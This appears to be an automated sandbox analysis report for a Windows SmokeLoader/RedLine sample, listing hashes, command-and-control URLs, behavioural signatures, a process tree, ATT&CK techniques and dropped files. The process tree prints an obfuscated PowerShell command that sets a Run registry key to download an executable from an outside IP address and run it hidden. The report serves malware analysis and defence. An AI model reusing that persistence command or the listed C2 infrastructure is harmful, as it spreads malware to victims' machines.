Analysis

  • max time kernel
    150s
  • max time network
    200s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    13-08-2021 07:58

General

  • Target

    a88078dd2e22e3e84ae29f796063edd8.exe

  • Size

    311KB

  • MD5

    a88078dd2e22e3e84ae29f796063edd8

  • SHA1

    3c897f60a1cc352a773aaee3179f4667dd537aa8

  • SHA256

    512de97a605158b2b306c071919c57ef39553385a38b4ac9b31225ecea2a4951

  • SHA512

    541bd5335a534ca38e9f038964c688f2a4c55672ac5e86e1b0ba7afe9feda33d68d522db8670699e4b362f63ea8b17eef31e95b92539b11383c4d0c86f2d72aa

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe
    "C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe
      "C:\Users\Admin\AppData\Local\Temp\a88078dd2e22e3e84ae29f796063edd8.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1612
  • C:\Users\Admin\AppData\Local\Temp\E908.exe
    C:\Users\Admin\AppData\Local\Temp\E908.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:868
  • C:\Users\Admin\AppData\Local\Temp\ECDF.exe
    C:\Users\Admin\AppData\Local\Temp\ECDF.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1220
  • C:\Users\Admin\AppData\Local\Temp\EFFC.exe
    C:\Users\Admin\AppData\Local\Temp\EFFC.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:396
    • C:\Windows\SysWOW64\cmd.exe
      cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
      2⤵
      • Drops startup file
      PID:1188
  • C:\Users\Admin\AppData\Local\Temp\F309.exe
    C:\Users\Admin\AppData\Local\Temp\F309.exe
    1⤵
    • Executes dropped EXE
    PID:1100
  • C:\Users\Admin\AppData\Local\Temp\FB73.exe
    C:\Users\Admin\AppData\Local\Temp\FB73.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:920

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

Discovery

Query Registry

3
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

3
T1082

Peripheral Device Discovery

1
T1120

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\E908.exe
    MD5

    a69e12607d01237460808fa1709e5e86

    SHA1

    4a12f82aee1c90e70cdf6be863ce1a749c8ae411

    SHA256

    188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

    SHA512

    7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

  • C:\Users\Admin\AppData\Local\Temp\ECDF.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\ECDF.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\EFFC.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\EFFC.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\F309.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\F309.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\FB73.exe
    MD5

    717d65dba56f47e540dca074c3977b3d

    SHA1

    d58aa30f826f41663e693f0ad930fdce584f1672

    SHA256

    61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

    SHA512

    b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

  • C:\Users\Admin\AppData\Local\Temp\s.bat
    MD5

    9af7efdc58593a2502402c2e20f2a189

    SHA1

    1051e4814b7569dbe11965229341aa9947d8dd75

    SHA256

    3b5ee685f660e8ec09fd05cb8eaeeb6babd002c807c217a87c4a1e782704914b

    SHA512

    d9ffaedf0004b63779fa85656fc5fce5b6174856de6e2b2bed8c5042f62cccbe6e915a8bc11133b8694304fc755f6d435c05031b8bceb41851ecf650e7ec768a

  • \ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • \ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • memory/396-94-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/396-106-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/396-79-0x0000000000000000-mapping.dmp
  • memory/396-104-0x0000000004E60000-0x0000000005071000-memory.dmp
    Filesize

    2.1MB

  • memory/396-92-0x0000000003100000-0x0000000003343000-memory.dmp
    Filesize

    2.3MB

  • memory/868-65-0x0000000000000000-mapping.dmp
  • memory/920-97-0x0000000004FB0000-0x0000000004FB1000-memory.dmp
    Filesize

    4KB

  • memory/920-95-0x0000000000D20000-0x0000000000D21000-memory.dmp
    Filesize

    4KB

  • memory/920-89-0x0000000000000000-mapping.dmp
  • memory/1100-85-0x0000000001140000-0x0000000001141000-memory.dmp
    Filesize

    4KB

  • memory/1100-82-0x0000000000000000-mapping.dmp
  • memory/1100-88-0x00000000007A0000-0x00000000007A1000-memory.dmp
    Filesize

    4KB

  • memory/1124-78-0x00000000003C0000-0x00000000003FB000-memory.dmp
    Filesize

    236KB

  • memory/1124-69-0x0000000000000000-mapping.dmp
  • memory/1124-80-0x0000000000400000-0x0000000002C7C000-memory.dmp
    Filesize

    40.5MB

  • memory/1188-109-0x0000000000000000-mapping.dmp
  • memory/1220-107-0x0000000002460000-0x0000000002461000-memory.dmp
    Filesize

    4KB

  • memory/1220-105-0x00000000049F2000-0x00000000049F3000-memory.dmp
    Filesize

    4KB

  • memory/1220-99-0x0000000000000000-mapping.dmp
  • memory/1220-101-0x00000000005F0000-0x00000000005F1000-memory.dmp
    Filesize

    4KB

  • memory/1220-102-0x0000000004A30000-0x0000000004A31000-memory.dmp
    Filesize

    4KB

  • memory/1220-103-0x00000000049F0000-0x00000000049F1000-memory.dmp
    Filesize

    4KB

  • memory/1220-112-0x0000000002720000-0x0000000002721000-memory.dmp
    Filesize

    4KB

  • memory/1288-64-0x0000000002BE0000-0x0000000002BF6000-memory.dmp
    Filesize

    88KB

  • memory/1612-61-0x0000000000402E1A-mapping.dmp
  • memory/1612-62-0x0000000074FB1000-0x0000000074FB3000-memory.dmp
    Filesize

    8KB

  • memory/1612-60-0x0000000000400000-0x0000000000409000-memory.dmp
    Filesize

    36KB

  • memory/1836-87-0x0000000000400000-0x0000000002C7C000-memory.dmp
    Filesize

    40.5MB

  • memory/1836-75-0x0000000000000000-mapping.dmp
  • memory/1908-63-0x0000000000020000-0x000000000002A000-memory.dmp
    Filesize

    40KB